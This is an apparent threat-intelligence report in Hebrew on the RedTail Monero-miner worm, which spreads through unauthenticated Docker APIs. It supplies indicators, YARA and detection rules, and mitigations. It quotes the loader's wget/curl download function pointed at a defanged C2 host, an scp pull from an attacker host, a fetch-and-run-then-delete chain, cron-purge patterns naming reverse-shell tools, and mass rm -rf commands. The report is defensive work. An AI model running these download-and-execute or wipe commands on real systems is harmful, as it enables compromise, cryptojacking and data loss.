בתוך קמפיין RedTail: התפשטות עצמית דרך ממשקי Docker API חשופים

TLP:CLEAR. אושר לפרסום ציבורי. מקורו ברשת חיישני מלכודות הדבש של Kinryū Labs. כל מחוון כאן הוא הגנתי. לכדנו את המפתח הפרטי של התוקף ואיננו מפרסמים אותו. כאן מופיעה רק הטביעה הציבורית. כתובות IP ודומיינים של התוקף מנוטרלים (defanged).

תקציר מנהלים

• 2375Docker API חשוף, דרך הכניסה
• 4ארכיטקטורות מעבד ממוקדות
• ~21ש׳פריצה מלאה שתועדה במלכודת שלנו
• ניתן להתפשטותלקוח SSH מובנה בכורה

בתחילת עד אמצע יוני 2026 רשת מלכודות הדבש שלנו תפסה תולעת המתפשטת דרך ממשקי Docker Engine API החשופים לאינטרנט על TCP/2375 ומשליכה את RedTail, כורה מונרו מבוסס XMRig הקיים מאז סוף 2023. השחקן מונה את הקונטיינרים הרצים דרך ה-Docker API הפתוח, מריץ פקודות בתוך כל אחד מהם, משליך מפתח SSH פרטי להתמדה ולתנועה רוחבית, ואז מושך מטעין רב-ארכיטקטורות. המטעין מתקין כורה שנושא לקוח SSH משלו להתפשטות ומרחרח libpcap לאיתור מטרות חדשות.

המטען הוא ללא ספק RedTail. RedTail ידוע בעיקר בהגעתו דרך ניצול יישומי ווב (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), והשימוש שלו בממשקי Docker API חשופים אף הוא תועד בעבר. כתבה זו מוסיפה מופע עכשווי שנלכד במלואו של אותה מסירה דרך Docker API: ה-C2 והמחוונים החיים, השלכת מפתח ה-SSH המאפשרת למארח לשכפל את עצמו, וסקריפט הסרת המתחרים שכתבות קודמות הצביעו עליו מבלי לשחזרו. אנו עוקבים אחר לוגיקת השכפול העצמי בפנים בשם docker.selfrep.

הכורה נושא תצורת ריצה מוצפנת וללא ארנק מוטמע, כך שאיננו יכולים לחלץ כתובת מונרו מהדגימה. שחזורה דורש פיצוץ חי עם לכידת רשת.

הערכות מפתח

• המטען הוא RedTail (ביטחון גבוה). המחרוזת libredtail evbuffer_tls, הממצא .redtail, חלופת redtail במטעין, ובניית התצורה-המוצפנת / ללא-ארנק, כולם תואמים לגרסאות המשפחה שאחרי 2024.
• הקמפיין ניתן להתפשטות כתולעת (ביטחון גבוה). כלי ה-Docker API, המפתח המושלך, ולקוח ה-SSH המובנה בכורה הם כל מה שמארח שזה עתה נדבק צריך כדי לצאת ולמצוא את הקורבן הבא בעצמו.
• המפעיל בעניין בשביל הכסף (ביטחון בינוני). גניבת אישורי הגישה והרחרוח נראים כמשרתים את ההתפשטות יותר מאשר מטרה נפרדת של גניבת נתונים.
• ווקטור ה-Docker API תועד בעבר עבור RedTail ועדיין עובד היטב. שקע חשוף יחיד על TCP/2375 מעניק לשחקן הרצת קוד כ-root בתוך כל קונטיינר על המארח.

שרשרת התקיפה

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp [email protected][.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

שלב 1: גישה ראשונית דרך Docker API

השחקן רודף אחר מופעי Docker Engine החושפים את ה-REST API ללא אימות על TCP/2375. מלכודת ה-Docker API שלנו מדמה מנוע אמיתי, והיא תיעדה את כל הרצף בכ-21 שניות:

1. ‏GET /version ו-GET /containers/json לטביעת אצבע של המנוע ולמניית קונטיינרים.
2. ‏POST /containers/{id}/exec ואז POST /exec/{id}/start נגד כל קונטיינר רץ.
3. מטען מעטפת בתוך-הקונטיינר שכותב את מפתח ה-SSH של התוקף ומושך את המטעין.

השלב האחרון הזה הוא מה שהופך את זה מכורה חד-פעמי לתולעת. מארח שנדבק ובמקרה חושף את ה-Docker API שלו עצמו יריץ את אותה שגרת מנייה-והרצה נגד מערך הקורבנות הבא. אנו קוראים ללוגיקה הזו docker.selfrep.

מפתח SSH מושלך (התמדה ותנועה רוחבית)

תכונה	ערך
סוג	מפתח OpenSSH ed25519 פרטי
הערה	dlr@sftp
טביעת SHA256 של המפתח הציבורי	SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
מקור משיכה (ערוץ SCP)	[email protected][.]113

איננו מפרסמים את המפתח הפרטי. השתמשו בטביעה למעלה כדי לצוד אותו: בדקו את authorized_keys ואת ~/.ssh על פני כל מצבת המכונות שלכם.

שלב 2: המטעין /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 סוג: סקריפט מעטפת POSIX

מטעין קטן, נייד, וזהיר.

שם קובץ אקראי מוסתר. get_random_string() מרכיב שם אלפאנומרי באורך 4 עד 35 תווים, מנסה /dev/urandom, אחר כך openssl, אחר כך $RANDOM, ונסוג אל המחרוזת המילולית redtail אם כל אלה נכשלים. אותה נסיגה היא סימן משפחה שימושי. הכורה נוחת בשם .<random> עם נקודה מובילה כדי להישאר מחוץ ל-ls רגיל. ל-VirusTotal יש את הדגימה הזו תחת אחד מאותם שמות, .mn6VTucEsFZY1PdSC2QAq.

מסייע הורדה. dlr() מכבה את אימות ה-TLS, מכיוון שה-C2 חתום-עצמית, ונסוג מ-wget ל-curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

ביום (staging) מודע ל-noexec. המטעין קורא את /proc/mounts, זורק כל עיגון noexec, ומריץ find / -user $(whoami) -perm -u=rwx כדי למצוא מקום שבו הוא יכול גם לכתוב וגם להריץ. הוא בודק כתיבה בכל מועמד עם dd או truncate של 2 מ”ב לפני השימוש. רוב המטעינים פשוט כותבים ל-/tmp וממשיכים. זה משקיע מאמץ לנחות במקום שבו הוא יודע שהוא יכול להריץ.

ניקוי מתחרים. הוא מושך ומריץ את clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), ואז מסיר אותו. תפסנו גם את הסקריפט הזה ומפרקים אותו למטה. הוא רודף אחר התמדה וביום של יריבים, ומשאיר תהליכים רצים לנפשם.

סידור. הוא מסיר את .redtail ואת קובץ ה-.<random> הקודם לפני התקנת החדש.

בחירת ארכיטקטורה. מתג uname -mp בוחר את הבנייה:

התאמת ARCH	מוריד
x86_64 / amd64	x86_64
i[3456]86	i686
armv8 / aarch64	aarch64
armv7	arm7
לא ידוע	מנסה את כל הארבעה בכוח גס, מריץ כל אחד

הרצה. ./.<random> $1, מעביר את ה-$1 המקורי של המטעין, ש-RedTail מתייחס אליו כתג קמפיין או ווקטור.

סקריפט הסרת המתחרים clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 סוג: סקריפט Bash (795 בתים)

תפסנו את clean בפגיעה מאוחרת יותר על מלכודות הדבש. הוא משאיר תהליכים רצים לנפשם. כל עבודתו היא לפנות תוכנות זדוניות אחרות מהמכונה כדי ש-RedTail יקבל אותה לעצמו:

• ניקוי cron. עבור כל crontab משתמש (/var/spool/cron/crontabs/*), crontab מערכת (/etc/crontab, /etc/crontabs), ספריית הזרקה (/etc/cron.{hourly,daily,weekly,monthly,d}), ו-/etc/anacrontab, הוא מסיר את סיבית האי-שינוי עם chattr -ia (תוכנה זדונית יריבה מגדירה אותה כדי להגן על שורות ה-cron שלה) ואז מוחק כל שורה שתואמת לתבנית הדבקה-מחדש:

  wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

  זה שולף את עריסות ההורדה והמעטפות ההפוכות של צוותים אחרים תוך השארת רשומות cron לגיטימיות לנפשן.

• הריגת יריב נקוב בשם. הוא משבית ועוצר את שירות systemd בשם c3pool_miner, יריקה ישירה על כורה c3pool.

• מחיקת ביום. הוא מרוקן את /tmp, /var/tmp ו-/dev/shm עם rm -rf, מפנה מטעני מתחרים ואת מרחב העבודה המשותף שלהם.

הכאה בהתמדה ובביום היא המהלך השקט יותר. הוא שורד אתחול מחדש, שבו רשומות cron שנותרו היו מדביקות מחדש את המארח אחרת, והוא נמנע מהרעש של הריגת תהליכים המונית.

שלב 3: כורה RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b גודל: 1,880,264 בתים (1.79 מ”ב) פורמט: ELF 64-bit LSB EXEC (מקושר סטטית, non-PIE), x86-64, נקודת כניסה 0xaa9e18 אורז: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 זדוני, ציון קהילה −60, נראה לראשונה ~2026-06-05 תוויות איום: trojan.usblem26/abminer; משפחות usblem26 / abminer / gen3

אריזה ואנטי-ניתוח

• UPX 5.02 עם הכותרת שלמה. upx -d פורק אותו בנקיון ל-ELF מקושר סטטית בגודל כ-5 מ”ב.
• הרצה ללא-קובץ. תובנות הקוד של VirusTotal מראות אותו משתמש ב-memfd_create (syscall 0x13f) כדי להריץ את המטען ישירות ממתאר קובץ זיכרון אנונימי, עם הרצה-מחדש דרך /proc/self/exe וביום ב-/dev/shm. שום דבר לא נוגע בדיסק, כך שאנטי-וירוס מבוסס-דיסק לעולם לא מקבל הצצה.
• זיוף שם תהליך (sets-process-name) כדי להתמזג עם תהליכים רגילים.
• התחמקות ממאתר באגים (detect-debug-environment). כתבות RedTail ציבוריות מתארות ניפוי-עצמי דרך ptrace ואת הקובץ הבינארי הורג את GDB באופן פעיל.
• הערה על אנטי-וירוס המארח. Microsoft Defender מסמן את ה-ELF הארוז כ-Trojan:Linux/Multiverze!rfn וחוסם את קריאתו מהדיסק, כך שמיון סטטי חייב להתרחש במכונה מבודדת או בזיכרון.

רכיבים מאומתים (ממחרוזות .rodata לאחר פריקה)

ליבת כריית XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, מחסנית הרשת המגדירה את המשפחה

libredtail evbuffer_tls
Connection  keepalive  User-Agent

‏libevent מותאם אישית בתוספת לקוח HTTP מעל TLS. המחרוזת libredtail evbuffer_tls היא מה שמפריד את RedTail מבניית XMRig סטנדרטית.

לקוח SSH מובנה (תנועה רוחבית וגניבת אישורי גישה)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

הכורה נושא לקוח SSH מלא. זהו המנוע מאחורי השלכת מפתח ה-dlr@sftp וההתפשטות. הקובץ הבינארי של הכורה מטפל בעצמו בגניבת אישורי הגישה ובהתפשטות ה-SSH. שום דבר מזה אינו חי בדרופר.

libpcap מובנה (רחרוח רשת)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

לכידת חבילות על המארח, מה שמתאים לגילוי מקומי של מארחים ואישורי גישה.

טבלאות קידוד. מופיעים הן אלפבית ה-Base64 הסטנדרטי והן הבטוח-לכתובות (...+/ ו-...-_), בשימוש שגרת פענוח התצורה.

התצורה ופער הייחוס

חיפשנו קשה בקובץ הבינארי לאחר הפריקה אחר כתובות IP, כתובות URL, stratum, pool, ותבניות כתובת מונרו. המאגרים היחידים שם הם מאגרי תרומת-המפתח המובנים של XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), שכל בניית XMRig נושאת ושהמפעיל אינו שולט בהם. אין מאגר, פרוקסי, או ארנק של התוקף בטקסט גלוי.

זה מכוון, וזה תואם לאן ש-RedTail הלך מאז 2024. תצורת הכרייה מוצפנת ומפוענחת רק בזיכרון בזמן ריצה, ובניות אחרונות אינן נושאות ארנק כלל, ומצביעות במקום זאת על מאגר פרטי או פרוקסי-מאגר. אז:

• איננו יכולים לחלץ ארנק מונרו מהדגימה הזו.
• פרוקסי-המאגר יוצא רק מפיצוץ חי עם בור-קולט רשת (ראו מתודולוגיה).

ייחוס

זהו RedTail, הידוע גם ככורה .redtail, כורה מונרו נגזר-XMRig שנכתב עליו לראשונה סביב סוף 2023 ותחילת 2024. מה שמתאים:

• המחרוזת libredtail evbuffer_tls, הייחודית לו.
• הממצא .redtail וחלופת redtail במטעין.
• בניית התצורה-המוצפנת / ללא-ארנק, המטעין הרב-ארכיטקטורות, סקריפט המתחרים clean, וגניבת אישורי ה-SSH, כולם תכונות RedTail מוכרות.

לשם השוואה, ווקטורי המסירה שכבר מתועדים עבור המשפחה הם CVE-2024-3400 (PAN-OS), CVE-2023-46805 ו-CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI), ו-CVE-2023-1389 (TP-Link). VirusTotal גם מתייג את הדגימה הזו עם CVE-2021-41773 (חציית נתיב ל-RCE ב-Apache 2.4.49/2.4.50) ו-CVE-2015-2808 (RC4, “Bar Mitzvah”).

השימוש של RedTail בממשקי Docker API חשופים תועד בעבר, כך שהווקטור עצמו ישן. הדוח הזה מוסיף לכידה עכשווית שלו: ה-C2 החי וטביעות המטענים, סקריפט ה-clean ששוחזר, ופרט השכפול-העצמי דרך המפתח המושלך.

מבט קדימה

צוותי כריית מטבעות זדונית משנים כיצד הם פורצים הרבה יותר מאשר הם משנים את המטען, והמטעין המודולרי של RedTail מקל על החלפת שיטת כניסה אחת באחרת. שקעי Docker חשופים יושבים בדיוק במגרש הזה. חלק ניכר מהפעילות ההזדמנותית ב-Linux נסחף לעבר תצורות-לקויות ענן-מקוריות, וממשק Docker API פתוח אחד מעניק לתוקף root בתוך כל קונטיינר על המכונה. RedTail היה כאן בעבר, וההיצע המתמיד של יציאות 2375 חשופות לאינטרנט שומר על זה כדאי.

אנו חושבים שסביר שהמפעיל ישמור על ווקטור ה-Docker API לצד ניצולי הווב במקום להחליף אחד באחר, מה שפשוט נותן לו יותר מארחים נגישים. אם אתם מריצים קונטיינרים, התייחסו לממשק Docker API חשוף כאילו הוא יושב על האינטרנט הציבורי, כי למעשה כך הוא.

סימני פריצה

רשת

מחוון	הקשר
14.46.136[.]77	C2 / מארח מטענים (HTTPS, חתום-עצמית). מגיש /sh, /clean, /x86_64, /i686, /aarch64, /arm7. מסנן יציאת ענן לפי ASN.
hxxps://14.46.136[.]77/sh	כתובת מטעין שלב 2
hxxps://14.46.136[.]77/clean	סקריפט הסרת מתחרים (טיהור cron / ביום)
217.60.195[.]113	מקור מפתח / מטען דרך SCP ([email protected][.]113)

קבצים (SHA256 / MD5)

קובץ	SHA256	MD5
sh (מטעין)	03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf	0df4fe0f1e3e8b0941f0d1442f132700
clean (טיהור מתחרים)	d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e	397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (כורה)	59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5	aaa5098c9caafccf15362b017825c64b

ממצאים על המארח

מחוון	הקשר
.redtail	ממצא כורה / סמן הדבקה קודמת
.<random alnum>, למשל .mn6VTucEsFZY1PdSC2QAq	שם קובץ כורה מוסתר (נקודה מובילה + אקראי)
הערת מפתח SSH dlr@sftp	המפתח המושלך
טביעת pubkey SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg	טביעת המפתח המושלך; צוד ב-authorized_keys
קבצים בביום ב-/dev/shm, /var/tmp, /tmp, או כל ספריית rwx ניתנת-לכתיבה למשתמש	מיקומי ביום

התנהגותי

• ‏memfd_create (syscall 0x13f) המריץ ELF ממתאר קובץ אנונימי.
• תהליך הקורא את /proc/mounts ואז מריץ find / -perm -u=rwx (ביום מודע ל-noexec).
• זיוף שם תהליך; התחמקות ממאתר באגים מבוססת ptrace.
• ‏stratum+tcp:// / stratum+ssl:// יוצא אל מארח לא-סטנדרטי.
• ‏systemctl disable c3pool_miner ו-systemctl stop c3pool_miner (פינוי מתחרה).
• ‏chattr -ia נגד נתיבי crontab ומיד אחריו מחיקה המונית של שורות wget / curl / מעטפת הפוכה מ-cron.
• ‏rm -rf של /tmp/*, /var/tmp/*, ו-/dev/shm/* (מחיקת ביום מתחרים).

זיהוי

זיהוי במארח (לוגיקת תהליך / EDR)

התריעו על תהליך אשר, ברצף:

1. קורא את /proc/mounts, ואז מריץ find / ... -perm -u=rwx ..., ו-
2. כותב קובץ בשם אקראי עם נקודה מובילה לספרייה ניתנת-לכתיבה לכולם, ו-
3. קורא ל-memfd_create ואחריו הרצה ממתאר הקובץ שנוצר.

כל אחד מאלה בנפרד חלש. שלושתם יחד הם אות חזק למטעין הזה.

כלל YARA מועמד (קובץ בינארי לאחר פריקה)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

כלל זה תואם לקובץ הבינארי לאחר פריקת UPX. עבור הדגימה הארוזה, הסתמכו על חתימת ה-UPX, על גודל הקובץ (~1.79 מ”ב), ועל טביעות ה-VirusTotal למעלה.

זיהוי ברשת

• חסמו והתריעו על תעבורה יוצאת אל 14.46.136[.]77 ו-217.60.195[.]113.
• התריעו על stratum+tcp / stratum+ssl אל כל יעד שאינו ברשימת ההיתר.
• התריעו על בקשות GET ב-HTTP(S) לנתיבים בני אות בודדת או בשמות ארכיטקטורה (/sh, /x86_64, /aarch64, /arm7).

הקלה

1. אל תחשפו את ה-Docker API (2375/2376) לרשתות לא-מהימנות. כבלו אותו ל-localhost או לשקע מוגן ודרשו אימות בתעודת לקוח TLS. אותה בקרה יחידה שוברת את שלב הגישה הראשונית מהשורש.
2. בדקו את ~/.ssh/authorized_keys על פני המצבת אחר מפתח dlr@sftp וטביעתו.
3. סננו יציאה ונטרו תעבורת stratum ואת כתובות ה-C2 למעלה.
4. עגנו את /tmp, /var/tmp, ו-/dev/shm עם noexec היכן שאתם יכולים. זה מעלה את הרף, אם כי המטעין הזה מודע ל-noexec וייצא לחפש ספרייה אחרת ניתנת-לכתיבה ולהרצה.
5. הקשיחו קונטיינרים: השמיטו capabilities שאינכם צריכים, השתמשו במערכות קבצים שורש לקריאה-בלבד, והריצו בהרשאה מינימלית כך ש-exec-פנימה לא יעניק לתוקף סביבת הרצה שמישה.

מיפוי MITRE ATT&CK

טקטיקה	טכניקה
Initial Access	T1190 Exploit Public-Facing Application (Docker API)
Execution	T1609 Container Administration Command; T1059.004 Unix Shell
Persistence	T1098.004 SSH Authorized Keys
Defense Evasion	T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential Access	T1552.004 Private Keys; T1040 Network Sniffing
Discovery	T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral Movement	T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and Control	T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
Impact	T1496 Resource Hijacking (cryptomining)

מתודולוגיה והערות אנליסט

• משכנו את שלבים 2 ו-3 מה-C2 החי דרך HTTPS. 14.46.136[.]77 נכנס לפסק-זמן עבור כתובות IP של ענן (ניסינו מ-AWS/EC2) אך מגיש כראוי לכתובות IP ביתיות ורגילות, שזהו מסנן יציאה לפי ASN או גאוגרפיה ששובר ארגזי חול ענניים אוטומטיים.
• ה-ELF הארוז מפעיל את Microsoft Defender (Trojan:Linux/Multiverze!rfn) ולא ניתן אפילו לקרוא אותו מהדיסק על מארח Windows מוגן, כך שהמיון הראשון התרחש בזיכרון, בפריקת הארכיון בתוך תהליך Python מבלי לכתוב את ה-ELF הגולמי החוצה אי פעם.
• הפריקה בוצעה עם upx -d ב-FLARE-VM מבודדת. ניתחנו את הקובץ הבינארי לאחר הפריקה באופן סטטי, לפי מחרוזות ומבנה, מבלי להריצו.
• לא הרצנו את הכורה, כך שפרוקסי-המאגר ותצורת המונרו המפוענחים בזמן ריצה אינם בדוח הזה.

המשך מומלץ (להשגת מחוון ה-pool-proxy)

כדי להשיג את פרוקסי-המאגר, פוצצו את הקובץ הבינארי לאחר הפריקה על מכונת Linux מבודדת (REMnux עובד) עם:

• בור-קולט רשת (INetSim, או fakedns בתוספת תופס-הכול של TCP) כדי לשלות את החיבור,
• ‏tcpdump -i any -w redtail.pcap כדי ללכוד את ה-CONNECT וההתחברות של stratum, ו-
• ‏strace -f כדי לתפוס את התצורה בטקסט גלוי שהכורה מפענח רגע לפני ה-connect() הראשון שלו, שלרוב ניתנת לקריאה אפילו כש-TLS מסתיר אותה על הקו.

אותו מארח ויציאה הם המחוון האחרון שעדיין תלוי ועומד לקמפיין הזה.

דגימות

דגימות (המטעין, סקריפט ה-clean, והכורה הארוז) זמינות לחוקרים ולמגנים אחרים לפי בקשה. כתבו ל-[email protected] עם פתק קצר על מי אתם ולמה אתם זקוקים להן.